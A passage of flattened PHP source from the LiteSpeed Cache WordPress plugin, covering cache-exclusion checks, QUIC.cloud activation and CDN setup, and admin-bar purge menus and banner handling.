Do not cache.' ); } } $excludes = $this->conf( Base::O_CACHE_EXC_USERAGENTS ); if ( ! empty( $excludes ) && isset( $_SERVER['HTTP_USER_AGENT'] ) ) { $nummatches = preg_match( Utility::arr2regex( $excludes ), sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) ); if ( $nummatches ) { return $this->_no_cache_for( 'Admin configured User Agent Do not cache.' ); } } // Check if is exclude roles ( Need to set Vary too ). $result = $this->in_cache_exc_roles(); if ( $result ) { return $this->_no_cache_for( 'Role Excludes setting ' . $result ); } } return true; } /** * Write a debug message for if a page is not cacheable. * * @since 1.0.0 * @access private * * @param string $reason An explanation for why the page is not cacheable. * @return bool Always false. */ private function _no_cache_for( $reason ) { self::debug( 'X Cache_control off - ' . $reason ); return false; } /** * Check if current request has qs excluded setting. * * @since 1.3 * @access private * * @param array $excludes QS excludes setting. * @return bool|string False if not excluded, otherwise the hit qs list. */ private function _is_qs_excluded( $excludes ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $_GET ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $keys = array_keys( $_GET ); $intersect = array_intersect( $keys, $excludes ); if ( $intersect ) { return implode( ',', $intersect ); } } return false; } } cloud-auth.trait.php000064400000022610152077520270010454 0ustar00_summary['sk_b64'] ) ) { $keypair = sodium_crypto_sign_keypair(); $pk = base64_encode( sodium_crypto_sign_publickey( $keypair ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode $sk = base64_encode( sodium_crypto_sign_secretkey( $keypair ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode $this->_summary['pk_b64'] = $pk; $this->_summary['sk_b64'] = $sk; $this->save_summary(); // ATM `qc_activated` = null return true; } return false; } /** * Init QC setup * * @since 7.0 */ public function init_qc() { $this->init_qc_prepare(); $ref = $this->_get_ref_url(); // WPAPI REST echo dryrun $echobox = self::post( self::API_REST_ECHO, false, 60 ); if ( false === $echobox ) { self::debugErr( 'REST Echo Failed!' ); $msg = __( "QUIC.cloud's access to your WP REST API seems to be blocked.", 'litespeed-cache' ); Admin_Display::error( $msg ); wp_safe_redirect( $ref ); exit; } self::debug( 'echo succeeded' ); // Load separate thread echoed data from storage if ( empty( $echobox['wpapi_ts'] ) || empty( $echobox['wpapi_signature_b64'] ) ) { Admin_Display::error( __( 'Failed to get echo data from WPAPI', 'litespeed-cache' ) ); wp_safe_redirect( $ref ); exit; } $data = [ 'wp_pk_b64' => $this->_summary['pk_b64'], 'wpapi_ts' => $echobox['wpapi_ts'], 'wpapi_signature_b64' => $echobox['wpapi_signature_b64'], ]; $server_ip = $this->conf( self::O_SERVER_IP ); if ( $server_ip ) { $data['server_ip'] = $server_ip; } // Activation redirect $param = [ 'site_url' => site_url(), 'ver' => Core::VER, 'data' => $data, 'ref' => $ref, ]; wp_safe_redirect( $this->_cloud_server_dash . '/' . self::SVC_U_ACTIVATE . '?data=' . rawurlencode( Utility::arr2str( $param ) ) ); exit; } /** * Decide the ref * * @param string|false $ref Ref slug. * @return string */ private function _get_ref_url( $ref = false ) { $link = 'admin.php?page=litespeed'; if ( 'cdn' === $ref ) { $link = 'admin.php?page=litespeed-cdn'; } if ( 'online' === $ref ) { $link = 'admin.php?page=litespeed-general'; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $ref_get = ! empty( $_GET['ref'] ) ? sanitize_text_field( wp_unslash( $_GET['ref'] ) ) : ''; if ( $ref_get && 'cdn' === $ref_get ) { $link = 'admin.php?page=litespeed-cdn'; } if ( $ref_get && 'online' === $ref_get ) { $link = 'admin.php?page=litespeed-general'; } return get_admin_url( null, $link ); } /** * Init QC setup (CLI) * * @since 7.0 */ public function init_qc_cli() { $this->init_qc_prepare(); $server_ip = $this->conf( self::O_SERVER_IP ); if ( ! $server_ip ) { self::debugErr( 'Server IP needs to be set first!' ); $msg = sprintf( __( 'You need to set the %1$s first. Please use the command %2$s to set.', 'litespeed-cache' ), '`' . __( 'Server IP', 'litespeed-cache' ) . '`', '`wp litespeed-option set server_ip __your_ip_value__`' ); Admin_Display::error( $msg ); return; } // WPAPI REST echo dryrun $echobox = self::post( self::API_REST_ECHO, false, 60 ); if ( false === $echobox ) { self::debugErr( 'REST Echo Failed!' ); $msg = __( "QUIC.cloud's access to your WP REST API seems to be blocked.", 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'echo succeeded' ); // Load separate thread echoed data from storage if ( empty( $echobox['wpapi_ts'] ) || empty( $echobox['wpapi_signature_b64'] ) ) { self::debug( 'Resp: ', $echobox ); Admin_Display::error( __( 'Failed to get echo data from WPAPI', 'litespeed-cache' ) ); return; } $data = [ 'wp_pk_b64' => $this->_summary['pk_b64'], 'wpapi_ts' => $echobox['wpapi_ts'], 'wpapi_signature_b64' => $echobox['wpapi_signature_b64'], 'server_ip' => $server_ip, ]; $res = $this->post( self::SVC_D_ACTIVATE, $data ); return $res; } /** * Init QC CDN setup (CLI) * * @since 7.0 * * @param string $method Method. * @param string|bool $cert Cert path. * @param string|bool $key Key path. * @param string|bool $cf_token Cloudflare token. */ public function init_qc_cdn_cli( $method, $cert = false, $key = false, $cf_token = false ) { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $server_ip = $this->conf( self::O_SERVER_IP ); if ( ! $server_ip ) { self::debugErr( 'Server IP needs to be set first!' ); $msg = sprintf( __( 'You need to set the %1$s first. Please use the command %2$s to set.', 'litespeed-cache' ), '`' . __( 'Server IP', 'litespeed-cache' ) . '`', '`wp litespeed-option set server_ip __your_ip_value__`' ); Admin_Display::error( $msg ); return; } if ( $cert ) { if ( ! file_exists( $cert ) || ! file_exists( $key ) ) { Admin_Display::error( __( 'Cert or key file does not exist.', 'litespeed-cache' ) ); return; } } $data = [ 'method' => $method, 'server_ip' => $server_ip, ]; if ( $cert ) { $data['cert'] = File::read( $cert ); $data['key'] = File::read( $key ); } if ( $cf_token ) { $data['cf_token'] = $cf_token; } $res = $this->post( self::SVC_D_ENABLE_CDN, $data ); return $res; } /** * Link to QC setup * * @since 7.0 */ public function link_qc() { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'wp_ts' => time(), ]; $data['wp_signature_b64'] = $this->_sign_b64( $data['wp_ts'] ); // Activation redirect $param = [ 'site_url' => site_url(), 'ver' => Core::VER, 'data' => $data, 'ref' => $this->_get_ref_url(), ]; wp_safe_redirect( $this->_cloud_server_dash . '/' . self::SVC_U_LINK . '?data=' . rawurlencode( Utility::arr2str( $param ) ) ); exit; } /** * Show QC Account CDN status * * @since 7.0 */ public function cdn_status_cli() { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = []; $res = $this->post( self::SVC_D_STATUS_CDN_CLI, $data ); return $res; } /** * Link to QC Account for CLI * * @since 7.0 * * @param string $email Account email. * @param string $key API key. */ public function link_qc_cli( $email, $key ) { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'qc_acct_email' => $email, 'qc_acct_apikey'=> $key, ]; $res = $this->post( self::SVC_D_LINK, $data ); return $res; } /** * API link parsed call to QC * * @since 7.0 * * @param string $action2 Action slug. */ public function api_link_call( $action2 ) { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'action2' => $action2, ]; $res = $this->post( self::SVC_D_API, $data ); self::debug( 'API link call result: ', $res ); } /** * Enable QC CDN * * @since 7.0 */ public function enable_cdn() { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'wp_ts' => time(), ]; $data['wp_signature_b64'] = $this->_sign_b64( $data['wp_ts'] ); // Activation redirect $param = [ 'site_url' => site_url(), 'ver' => Core::VER, 'data' => $data, 'ref' => $this->_get_ref_url(), ]; wp_safe_redirect( $this->_cloud_server_dash . '/' . self::SVC_U_ENABLE_CDN . '?data=' . rawurlencode( Utility::arr2str( $param ) ) ); exit; } /** * Reset QC setup * * @since 7.0 */ public function reset_qc() { unset( $this->_summary['pk_b64'] ); unset( $this->_summary['sk_b64'] ); unset( $this->_summary['qc_activated'] ); if ( ! empty( $this->_summary['partner'] ) ) { unset( $this->_summary['partner'] ); } $this->save_summary(); self::debug( 'Clear local QC activation.' ); $this->clear_cloud(); Admin_Display::success( sprintf( __( 'Reset %s activation successfully.', 'litespeed-cache' ), 'QUIC.cloud' ) ); wp_safe_redirect( $this->_get_ref_url() ); exit; } /** * Check if activated QUIC.cloud service or not * * @since 7.0 * @access public */ public function activated() { return ! empty( $this->_summary['sk_b64'] ) && ! empty( $this->_summary['qc_activated'] ); } /** * Show my.qc quick link to the domain page * * @return string */ public function qc_link() { $data = [ 'site_url' => site_url(), 'ver' => LSCWP_V, 'ref' => $this->_get_ref_url(), ]; return $this->_cloud_server_dash . '/u/wp3/manage?data=' . rawurlencode( Utility::arr2str( $data ) ); // . (!empty($this->_summary['is_linked']) ? '?wplogin=1' : ''); } } gui.cls.php000064400000111113152077520270006626 0ustar00 [ days, litespeed_only ], ... ] * * @var array */ private $_promo_list = [ 'new_version' => [ 7, false ], 'score' => [ 14, false ], // 'slack' => [ 3, false ], ]; /** Path to guest JavaScript file. */ const LIB_GUEST_JS = 'assets/js/guest.min.js'; /** Path to guest document.referrer JavaScript file. */ const LIB_GUEST_DOCREF_JS = 'assets/js/guest.docref.min.js'; /** Path to guest vary endpoint. */ const PHP_GUEST = 'guest.vary.php'; /** Dismiss type: WHM. */ const TYPE_DISMISS_WHM = 'whm'; /** Dismiss type: ExpiresDefault. */ const TYPE_DISMISS_EXPIRESDEFAULT = 'ExpiresDefault'; /** Dismiss type: Promo. */ const TYPE_DISMISS_PROMO = 'promo'; /** Dismiss type: PIN. */ const TYPE_DISMISS_PIN = 'pin'; /** WHM message option name. */ const WHM_MSG = 'lscwp_whm_install'; /** WHM message option value. */ const WHM_MSG_VAL = 'whm_install'; /** * Summary options cache. * * @var array Summary/options cache. */ protected $_summary; /** * Instance. * * @since 1.3 */ public function __construct() { $this->_summary = self::get_summary(); } /** * Frontend init. * * @since 3.0 */ public function init() { self::debug2( 'init' ); if ( is_admin_bar_showing() && current_user_can( 'manage_options' ) ) { add_action( 'wp_enqueue_scripts', [ $this, 'frontend_enqueue_style' ] ); add_action( 'admin_bar_menu', [ $this, 'frontend_shortcut' ], 95 ); } /** * Turn on instant click. * * @since 1.8.2 */ if ( $this->conf( self::O_UTIL_INSTANT_CLICK ) ) { add_action( 'wp_enqueue_scripts', [ $this, 'frontend_enqueue_style_public' ] ); } // NOTE: this needs to be before optimizer to avoid wrapper being removed. add_filter( 'litespeed_buffer_finalize', [ $this, 'finalize' ], 8 ); } /** * Print a loading message when redirecting CCSS/UCSS page to avoid blank page confusion. * * @param int $counter Files left in queue. * @param string $type Queue type label. * @return void */ public static function print_loading( $counter, $type ) { echo '
      '; echo " "; printf( /* translators: 1: number, 2: text */ esc_html__( '%1$s %2$s files left in queue', 'litespeed-cache' ), esc_html( number_format_i18n( $counter ) ), esc_html( $type ) ); echo '

      ' . esc_html__( 'Cancel', 'litespeed-cache' ) . '

      '; echo '
      '; } /** * Display the tab list. * * @since 7.3 * * @param array $tabs Key => Label pairs. * @return void */ public static function display_tab_list( $tabs ) { $i = 1; foreach ( $tabs as $k => $val ) { $accesskey = $i <= 9 ? $i : ''; printf( '%3$s', esc_attr( $k ), esc_attr( $accesskey ), esc_html( $val ) ); ++$i; } } /** * Render a pie chart SVG string. * * @since 1.6.6 * * @param int $percent Percentage 0-100. * @param int $width Width/height in pixels. * @param bool $finished_tick Show a tick when 100%. * @param bool $without_percentage Hide the % label. * @param string|bool $append_cls Extra CSS class. * @return string SVG markup. */ public static function pie( $percent, $width = 50, $finished_tick = false, $without_percentage = false, $append_cls = false ) { $label = $without_percentage ? $percent : ( $percent . '%' ); $percentage = '' . esc_html( $label ) . ''; if ( 100 === $percent && $finished_tick ) { $percentage = ''; } $svg = sprintf( " %4\$s ", esc_attr( $append_cls ), $width, $percent, $percentage ); return $svg; } /** * Allowed SVG tags/attributes for kses. * * @since 7.3 * * @return array> Allowed tags/attributes. */ public static function allowed_svg_tags() { return [ 'svg' => [ 'width' => true, 'height' => true, 'viewbox' => true, // Note: SVG standard uses 'viewBox', but wp_kses normalizes to lowercase. 'xmlns' => true, 'class' => true, 'id' => true, ], 'circle' => [ 'cx' => true, 'cy' => true, 'r' => true, 'fill' => true, 'stroke' => true, 'class' => true, 'stroke-width' => true, 'stroke-dasharray' => true, ], 'path' => [ 'd' => true, 'fill' => true, 'stroke' => true, ], 'text' => [ 'x' => true, 'y' => true, 'dx' => true, 'dy' => true, 'font-size' => true, 'font-family' => true, 'font-weight' => true, 'fill' => true, 'stroke' => true, 'stroke-width' => true, 'text-anchor' => true, 'class' => true, 'id' => true, ], 'g' => [ 'transform' => true, 'fill' => true, 'stroke' => true, 'stroke-width' => true, 'class' => true, 'id' => true, ], 'button' => [ 'type' => true, 'data-balloon-break' => true, 'data-balloon-pos' => true, 'aria-label' => true, 'class' => true, ], ]; } /** * Display a tiny pie with a tooltip. * * @since 3.0 * * @param int $percent Percentage 0-100. * @param int $width Width/height in pixels. * @param string $tooltip Tooltip text. * @param string $tooltip_pos Tooltip position (e.g., 'up'). * @param string|bool $append_cls Extra CSS class. * @return string HTML/SVG. */ public static function pie_tiny( $percent, $width = 50, $tooltip = '', $tooltip_pos = 'up', $append_cls = false ) { // formula C = 2πR. $dasharray = 2 * 3.1416 * 9 * ( $percent / 100 ); return sprintf( " ", esc_attr( $tooltip_pos ), esc_attr( $tooltip ), esc_attr( $append_cls ), $width, esc_attr( $dasharray ) ); } /** * Get CSS class name for PageSpeed score. * * Scale: * 90-100 (fast) * 50-89 (average) * 0-49 (slow) * * @since 2.9 * @access public * * @param int $score Score 0-100. * @return string Class name: success|warning|danger. */ public function get_cls_of_pagescore( $score ) { if ( $score >= 90 ) { return 'success'; } if ( $score >= 50 ) { return 'warning'; } return 'danger'; } /** * Handle dismiss actions for banners and notices. * * @since 1.0 * @access public * @return void */ public static function dismiss() { $_instance = self::cls(); switch ( Router::verify_type() ) { case self::TYPE_DISMISS_WHM: self::dismiss_whm(); break; case self::TYPE_DISMISS_EXPIRESDEFAULT: self::update_option( Admin_Display::DB_DISMISS_MSG, Admin_Display::RULECONFLICT_DISMISSED ); break; case self::TYPE_DISMISS_PIN: Admin_Display::dismiss_pin(); break; case self::TYPE_DISMISS_PROMO: if ( empty( $_GET['promo_tag'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended break; } $promo_tag = sanitize_key( wp_unslash( $_GET['promo_tag'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( empty( $_instance->_promo_list[ $promo_tag ] ) ) { break; } defined( 'LSCWP_LOG' ) && self::debug( 'Dismiss promo ' . $promo_tag ); // Forever dismiss. if ( ! empty( $_GET['done'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $_instance->_summary[ $promo_tag ] = 'done'; } elseif ( ! empty( $_GET['later'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended // Delay the banner to half year later. $_instance->_summary[ $promo_tag ] = time() + ( 86400 * 180 ); } else { // Update welcome banner to 30 days after. $_instance->_summary[ $promo_tag ] = time() + ( 86400 * 30 ); } self::save_summary(); break; default: break; } if ( Router::is_ajax() ) { // All dismiss actions are considered as ajax call, so just exit. exit( wp_json_encode( [ 'success' => 1 ] ) ); } // Plain click link, redirect to referral url. Admin::redirect(); } /** * Check if has rule conflict notice. * * @since 1.1.5 * @access public * * @return bool True if message should be shown. */ public static function has_msg_ruleconflict() { $db_dismiss_msg = self::get_option( Admin_Display::DB_DISMISS_MSG ); if ( ! $db_dismiss_msg ) { self::update_option( Admin_Display::DB_DISMISS_MSG, -1 ); } return Admin_Display::RULECONFLICT_ON === $db_dismiss_msg; } /** * Check if has WHM notice. * * @since 1.1.1 * @access public * * @return bool True if message should be shown. */ public static function has_whm_msg() { $val = self::get_option( self::WHM_MSG ); if ( ! $val ) { self::dismiss_whm(); return false; } return self::WHM_MSG_VAL === $val; } /** * Delete WHM message tag. * * @since 1.1.1 * @access public * @return void */ public static function dismiss_whm() { self::update_option( self::WHM_MSG, -1 ); } /** * Whether current request is a LiteSpeed admin page. * * @since 2.9 * * @return bool True if LiteSpeed page. */ private function _is_litespeed_page() { if ( ! empty( $_GET['page'] ) && // phpcs:ignore WordPress.Security.NonceVerification.Recommended in_array( (string) $_GET['page'], // phpcs:ignore WordPress.Security.NonceVerification.Recommended [ 'litespeed-settings', 'litespeed-dash', Admin::PAGE_EDIT_HTACCESS, 'litespeed-optimization', 'litespeed-crawler', 'litespeed-import', 'litespeed-report', ], true ) ) { return true; } return false; } /** * Display promo banner (or check-only mode to know which promo would display). * * @since 2.1 * @access public * * @param bool $check_only If true, only return the promo tag that would be shown. * @return false|string False if none, or the promo tag string. */ public function show_promo( $check_only = false ) { $is_litespeed_page = $this->_is_litespeed_page(); // Bypass showing info banner if disabled all in debug. if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) { return false; } if ( file_exists( ABSPATH . '.litespeed_no_banner' ) ) { defined( 'LSCWP_LOG' ) && self::debug( 'Bypass banners due to silence file' ); return false; } foreach ( $this->_promo_list as $promo_tag => $v ) { list( $delay_days, $litespeed_page_only ) = $v; if ( $litespeed_page_only && ! $is_litespeed_page ) { continue; } // First time check. if ( empty( $this->_summary[ $promo_tag ] ) ) { $this->_summary[ $promo_tag ] = time() + 86400 * $delay_days; self::save_summary(); continue; } $promo_timestamp = $this->_summary[ $promo_tag ]; // Was ticked as done. if ( 'done' === $promo_timestamp ) { continue; } // Not reach the dateline yet. if ( time() < $promo_timestamp ) { continue; } // Try to load, if can pass, will set $this->_promo_true = true. $this->_promo_true = false; include LSCWP_DIR . "tpl/banner/$promo_tag.php"; // If not defined, means it didn't pass the display workflow in tpl. if ( ! $this->_promo_true ) { continue; } if ( $check_only ) { return $promo_tag; } defined( 'LSCWP_LOG' ) && self::debug( 'Show promo ' . $promo_tag ); // Only contain one. break; } return false; } /** * Load frontend public script. * * @since 1.8.2 * @access public * @return void */ public function frontend_enqueue_style_public() { wp_enqueue_script( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/js/instant_click.min.js', [], Core::VER, [ 'strategy' => 'defer', 'in_footer' => true, ] ); } /** * Load frontend stylesheet. * * @since 1.3 * @access public * @return void */ public function frontend_enqueue_style() { wp_enqueue_style( Core::PLUGIN_NAME, LSWCP_PLUGIN_URL . 'assets/css/litespeed.css', [], Core::VER, 'all' ); } /** * Load frontend menu shortcut items in the admin bar. * * @since 1.3 * @since 7.6 Add VPI clear. * @access public * @return void */ public function frontend_shortcut() { global $wp_admin_bar; $wp_admin_bar->add_menu( [ 'id' => 'litespeed-menu', 'title' => '', 'href' => get_admin_url( null, 'admin.php?page=litespeed' ), 'meta' => [ 'tabindex' => 0, 'class' => 'litespeed-top-toolbar', ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-single', 'title' => esc_html__( 'Purge this page', 'litespeed-cache' ) . ' - LSCache', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_FRONT, false, true ), 'meta' => [ 'tabindex' => '0' ], ] ); if ( $this->has_cache_folder( 'ucss' ) ) { $possible_url_tag = UCSS::get_url_tag(); $append_arr = []; if ( $possible_url_tag ) { $append_arr['url_tag'] = $possible_url_tag; } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-single-ucss', 'title' => esc_html__( 'Purge this page', 'litespeed-cache' ) . ' - UCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_UCSS, false, true, $append_arr ), 'meta' => [ 'tabindex' => '0' ], ] ); } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-single-action', 'title' => esc_html__( 'Mark this page as ', 'litespeed-cache' ), 'meta' => [ 'tabindex' => '0' ], ] ); $current_uri = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; if ( $current_uri ) { $append_arr = [ Conf::TYPE_SET . '[' . self::O_CACHE_FORCE_URI . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-forced_cache', 'title' => esc_html__( 'Forced cacheable', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); $append_arr = [ Conf::TYPE_SET . '[' . self::O_CACHE_EXC . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-noncache', 'title' => esc_html__( 'Non cacheable', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); $append_arr = [ Conf::TYPE_SET . '[' . self::O_CACHE_PRIV_URI . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-private', 'title' => esc_html__( 'Private cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); $append_arr = [ Conf::TYPE_SET . '[' . self::O_OPTM_EXC . '][]' => $current_uri . '$', 'redirect' => $current_uri, ]; $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-nonoptimize', 'title' => esc_html__( 'No optimization', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CONF, Conf::TYPE_SET, false, true, $append_arr ), ] ); } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-single-action', 'id' => 'litespeed-single-more', 'title' => esc_html__( 'More settings', 'litespeed-cache' ), 'href' => get_admin_url( null, 'admin.php?page=litespeed-cache' ), ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all-lscache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LSCache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cssjs', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'CSS/JS Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CSSJS, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); if ( $this->conf( self::O_CDN_CLOUDFLARE ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-cloudflare', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Cloudflare', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_CDN_CLOUDFLARE, CDN\Cloudflare::TYPE_PURGE_ALL ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( defined( 'LSCWP_OBJECT_CACHE' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-object', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Object Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OBJECT, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( Router::opcache_enabled() ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-opcache', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Opcode Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_OPCACHE, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ccss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ccss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - CCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_CCSS, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'ucss' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-ucss', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - UCSS', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_UCSS, false, '_ori' ), ] ); } if ( $this->has_cache_folder( 'localres' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-localres', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Localized Resources', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LOCALRES, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'lqip' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-placeholder', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'LQIP Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LQIP, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'vpi' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-vpi', 'title' => __( 'Purge All', 'litespeed-cache' ) . ' - VPI', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_VPI, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } if ( $this->has_cache_folder( 'avatar' ) ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-avatar', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ) . ' - ' . esc_html__( 'Gravatar Cache', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_AVATAR, false, '_ori' ), 'meta' => [ 'tabindex' => '0' ], ] ); } do_action( 'litespeed_frontend_shortcut' ); } /** * Hooked to wp_before_admin_bar_render. * Adds links to the admin bar so users can quickly manage/purge. * * @since 1.7.2 Moved from admin_display.cls to gui.cls; Renamed from `add_quick_purge` to `backend_shortcut`. * @access public * @global \WP_Admin_Bar $wp_admin_bar * @return void */ public function backend_shortcut() { global $wp_admin_bar; if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) { $wp_admin_bar->add_menu( [ 'id' => 'litespeed-menu', 'title' => '', 'href' => 'admin.php?page=litespeed-toolbox#settings-debug', 'meta' => [ 'tabindex' => 0, 'class' => 'litespeed-top-toolbar', ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-enable_all', 'title' => esc_html__( 'Enable All Features', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed-toolbox#settings-debug', 'meta' => [ 'tabindex' => '0' ], ] ); return; } $wp_admin_bar->add_menu( [ 'id' => 'litespeed-menu', 'title' => '', 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL_LSCACHE ), 'meta' => [ 'tabindex' => 0, 'class' => 'litespeed-top-toolbar', ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-bar-manage', 'title' => esc_html__( 'Manage', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed', 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-bar-setting', 'title' => esc_html__( 'Settings', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed-cache', 'meta' => [ 'tabindex' => '0' ], ] ); if ( ! is_network_admin() ) { $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-bar-imgoptm', 'title' => esc_html__( 'Image Optimization', 'litespeed-cache' ), 'href' => 'admin.php?page=litespeed-img_optm', 'meta' => [ 'tabindex' => '0' ], ] ); } $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all', 'title' => esc_html__( 'Purge All', 'litespeed-cache' ), 'href' => Utility::build_url( Router::ACTION_PURGE, Purge::TYPE_PURGE_ALL ), 'meta' => [ 'tabindex' => '0' ], ] ); $wp_admin_bar->add_menu( [ 'parent' => 'litespeed-menu', 'id' => 'litespeed-purge-all-lscache', 'title' 